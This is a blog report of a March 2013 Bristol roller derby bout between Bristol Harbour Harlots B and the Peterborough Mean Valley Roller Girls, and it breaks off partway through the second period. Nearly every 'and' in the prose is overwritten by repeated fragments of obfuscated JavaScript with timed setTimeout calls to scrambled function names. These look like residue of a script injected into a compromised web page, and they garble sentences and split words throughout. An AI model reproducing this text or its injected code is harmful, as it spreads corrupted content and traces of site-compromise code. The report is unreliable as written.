Rolling up on you: Bristol Roller Derby March Double Header

March 2, 2013 in Audio, Bristol, Events, Roller Derby, South West

We must admit, to the uninitiated first time attendant of a roller derby bout, you would be forgiven thinking it is mobilised madness. By the end of the evening however, that same attendant would be cheering on great plays andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cheering them because they know why they are great plays.

All photos: Suzanne Rupp

One reason for this is the MC’s for the bouts, Dr Feral andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Red October. Their accessible breakdown of what was happening on the track soon provided clarity on what was unfolding. Another reason is the amount of officials involved in a bout. There are officials who highlight which is the leading jammer andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and which is in a non-scoring position.



Bristol Roller Derby Announcers Dr Farrell & Red October

Bristol Harbour Harlots B vs Peterborough Mean Valley Roller Girls

The Peterborough Mean Valley Roller Girls took part in the first bout of the day, taking on Bristol Harbour Harlots B. The bleachers at the WISE Campus were full as the teams huddled in each corner for their last minute pep talks.

The away team rolled out first lead by their captain Diva La Lunatic K9. The rest of the Roller Girls were introduced andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and looked ready to play. The Harlots took to the track for their well rehearsed introduction. Oscillating cheers filled the sports hall as the each Harlot acknowledged the fans.

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Skatey Bo Baity warming up

The bouts would be run under a new rule set that had been introduced. The main difference being that there would now be one whistle setting off the jam, rather than a second whistle that would be the signal for the jammers to start.

With that whistle, the floor rumbled with the impact of stoppers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and wheels driving the athletes forward. Jammers from both teams got away from the pack early, with Diva La Lunatic for Mean Valley holding lead jammer status. The roles were reversed in the next jam andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Bristol quickly put points on the board. Bristol soon found themselves two blockers down as they served time in the penalty box. Mean Valley had their pivot serving time too, which all amounted to a light pack this time round.

Mean Valley immediately got a power jam situation as the Bristol Jammer was sin binned for an infringement. Mean Valley capitalised before finally calling off the jam. With the score at Mean Valley 22 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Bristol Harlots B 9, the Mean Valley jammers were stamping their authority on the game.

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HeltaSkater leading the pack

Compounding the situation for Bristol was that they found themselves bearing the brunt of the officials calls. Quickly again in the first half they were a jammer down, allowing Mean Valley to enjoy another power jam. Mean Valley raced to a 46 to 9 lead with diva La Lunatic showing personality andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and determination in negotiating the pack when jamming. The Mean Valley captain didn’t escape the eye of the refs, spending time in the sin bin early which is always costly for an effective player.

The Harlots were able to pull back to 24 points against the Roller Girls 46, using the power jams afforded them from Mean Valley’s mistakes.

When the Mean Valley captain was on the track, the Bristol blockers definitely had their handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands full. HelterSkater was also able to score as Bristol were in the penalty, giving Harlot blockers more to think about with the score standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding at 77 to Mean Valley Roller Girls andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and 27 to the Bristol Harbour Harlots.

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Leeds captain Diva La Lunatic (K9) doing her thing at pivot

SnoAngel performed well in the jammer role towards the end of the first period, despite her best efforts the Bristol jammers gave away more power jams that allowed Mean Valley to reach 110 to Bristol’s 42 with 6:50 to play in the first period. Wrecks was up jamming against Diva La Lunatic andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Bristol were able to pull together some great blocks to allow Wrecks to become the lead jammer in Jam 21.

At the end of the first period the scores stood at 55 to 124 for Mean Valley.



Picture story: The Art of Eluding

Til Thrillster started at jammer for Bristol to open the second period, up against the high scoring Mean Valley captain, Diva La Lunatic. It would be understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andable for this to be a daunting moment for Til who was making her début for the Harlots. But at the whistle, the Thrillster played a patient game andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and broke through to become the lead jammer. To add to the Roller Girls woes, Diva La Lunatic was sent to the sin bin,